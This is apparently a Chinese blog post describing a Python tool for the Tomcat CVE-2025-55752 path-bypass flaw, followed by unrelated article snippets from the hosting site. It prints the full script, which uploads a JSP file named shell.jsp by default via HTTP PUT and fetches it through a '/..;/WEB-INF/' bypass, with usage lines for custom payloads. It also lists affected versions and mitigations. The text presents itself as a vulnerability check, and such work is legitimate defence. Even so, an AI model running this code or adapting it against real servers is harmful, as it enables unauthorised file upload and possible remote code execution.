news 2026/4/23 11:43:55

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具

项目描述

本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如/WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。

功能特性

  • 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
  • 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
  • 路径绕过验证:利用..;序列绕过 URL 规范化检查,验证对受保护目录的访问
  • 灵活配置:支持自定义上传文件名和 payload 内容
  • SSL 选项:提供 SSL 证书验证的开关选项
  • 独立检查模式:支持仅进行路径绕过检查而不上传文件

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载脚本文件

    gitclone<repository-url>cdCVE-2025-55752
  2. 安装必要的 Python 依赖

    pipinstallrequests urllib3
  3. (可选)配置环境

    • 确保 Python 环境已正确配置
    • 如有代理需求,请配置相应的网络设置

使用说明

基本用法

1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check

此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。

2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080

此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。

3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload"<% out.println('PWNED'); %>"

使用自定义的文件名和 payload 内容进行测试。

4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify

对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。

参数说明

  • url:目标服务器的基础 URL(必需),需包含http://https://
  • --filename:上传的文件名,默认为shell.jsp
  • --payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>
  • --check:仅检查路径绕过,不进行文件上传
  • --no-ssl-verify:禁用 SSL 证书验证

输出说明

  • [+]表示成功或发现漏洞
  • [-]表示失败或未发现漏洞
  • [!]表示发生错误

核心代码

1. 主程序入口与参数解析

defmain():parser=argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")parser.add_argument("url",help="Target base URL (e.g., http://127.0.0.1:8080)")parser.add_argument("--filename",default="shell.jsp",help="Filename to upload (default: shell.jsp)")parser.add_argument("--payload",default="<% out.println(\"Bypassed!\"); %>",help="Payload content to upload")parser.add_argument("--check",action="store_true",help="Only check for path bypass without uploading")parser.add_argument("--no-ssl-verify",action="store_true",help="Disable SSL certificate verification")args=parser.parse_args()print(BANNER)verify_ssl=notargs.no_ssl_verifyifnotargs.url.startswith("http"):print("[-] Please include http:// or https:// in the URL")sys.exit(1)ifargs.check:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)else:uploaded_path=attempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)if__name__=="__main__":main()

代码说明

  • 使用argparse模块解析命令行参数
  • 验证 URL 格式,确保包含协议头
  • 根据--check参数选择执行模式:仅检查或完整测试
  • 控制 SSL 验证开关

2. 文件上传函数

defattempt_put_upload(target,filename,payload,verify_ssl):upload_path=f"/{filename}"url=f"{target}{upload_path}"try:print(f"[+] Attempting to upload payload to:{url}")response=requests.put(url,data=payload,verify=verify_ssl,timeout=10)ifresponse.status_codein[200,201,204]:print(f"[+] Upload successful! Response code:{response.status_code}")returnupload_pathelse:print(f"[-] Upload failed! Response code:{response.status_code}")returnNoneexceptExceptionase:print(f"[!] Upload error:{e}")returnNone

代码说明

  • 使用 HTTP PUT 方法上传文件到目标服务器
  • 构造完整的上传 URL
  • 检查响应状态码,200/201/204 表示上传成功
  • 添加超时设置防止长时间等待
  • 异常处理确保程序稳定性

3. 路径绕过检查函数

defcheck_access(target,path,verify_ssl):bypass_path=f"/..;{path}"url=f"{target}{bypass_path}"try:print(f"[+] Checking access to:{url}")response=requests.get(url,verify=verify_ssl,timeout=10)ifresponse.status_code==200:print("[+] Bypass successful! Target may be vulnerable.")returnTrueelse:print(f"[-] Access denied or not vulnerable (HTTP{response.status_code}).")returnFalseexceptExceptionase:print(f"[!] Access check error:{e}")returnFalse

代码说明

  • 利用..;序列构造路径绕过 URL
  • 使用 HTTP GET 方法尝试访问受保护路径
  • 响应状态码 200 表示绕过成功,目标可能存在漏洞
  • 添加详细的日志输出,便于调试和分析

4. 初始化与安全设置

importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER=""" CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script ============================================================ This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. """

代码说明

  • 导入必要的 Python 模块
  • 禁用 SSL 警告,避免输出干扰
  • 定义工具横幅,显示工具名称和功能介绍
  • 使用urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)

受影响版本

Tomcat 分支受影响版本
11.x11.0.0-M1 至 11.0.10
10.1.x10.1.0-M1 至 10.1.44
9.0.x9.0.0-M11 至 9.0.108
8.5.x8.5.6 至 8.5.100

建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。

漏洞原理

CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如..;)绕过内部保护机制,访问受限制的目录(如/WEB-INF//META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。

安全建议

  1. 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
  2. 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
  3. 加强重写规则:对重写规则中的输入进行严格验证和清理
  4. 访问控制:加强受保护目录的访问控制
  5. 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED
    6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/11 23:09:09

基于大数据的通化市人口老龄化分析平台开题报告

基于大数据的通化市人口老龄化分析平台开题报告 一、选题背景与意义 &#xff08;一&#xff09;选题背景 随着我国社会经济的持续发展、医疗保障体系的不断完善以及人口生育政策的调整&#xff0c;人口老龄化已成为不可逆转的社会发展趋势&#xff0c;对社会结构、经济发展、公…

作者头像 李华
网站建设 2026/4/23 13:52:18

AI地质勘探:地震波反演模型在油气识别的准确率测试实践

AI地质勘探的热度与测试挑战 当前&#xff0c;AI技术正重塑油气勘探行业&#xff0c;地震波反演模型作为核心工具&#xff0c;能通过分析地震波数据预测地下油气储层分布&#xff0c;提升勘探效率。2025-2026年间&#xff0c;相关应用热度飙升&#xff0c;主因是其准确率突破性…

作者头像 李华
网站建设 2026/4/23 13:47:12

openpnp - 关于4个关键点高度必须等高的官方资料

文章目录openpnp - 关于4个关键点高度必须等高的官方资料概述笔记官方文档资料地址官方文档关于4点等高的出处3D-Units-per-Pixel.md摘录1摘录2Nozzle-Tip-Calibration-Setup.md摘录1Vision-Solutions.mdENDopenpnp - 关于4个关键点高度必须等高的官方资料 概述 和同学讨论问…

作者头像 李华
网站建设 2026/4/21 13:42:43

用 XinServer,我的项目上线速度快了 N 倍

用 XinServer&#xff0c;我的项目上线速度快了 N 倍 兄弟们&#xff0c;不知道你们有没有经历过这种场景&#xff1a;产品经理拍着桌子说“这个功能下周必须上线”&#xff0c;你看着前端页面已经写得七七八八&#xff0c;但后端接口连个影儿都没有。或者&#xff0c;你是个移…

作者头像 李华
网站建设 2026/4/21 19:20:14

工资不上涨,一只给我实习工资,该怎么破局?时机就是你在承担了大项目的时候,你是主导者的时候,并且在外面试过,自己是有性价比的

工资不上涨,一只给我实习工资,该怎么破局? 别一遇问题就内耗:先分清「敌人」与「盟友」 目录 工资不上涨,一只给我实习工资,该怎么破局? 别一遇问题就内耗:先分清「敌人」与「盟友」 先矫正核心误区:理解的「敌人」和「盟友」,全错了 以为的: 真正解决问题的定义(理…

作者头像 李华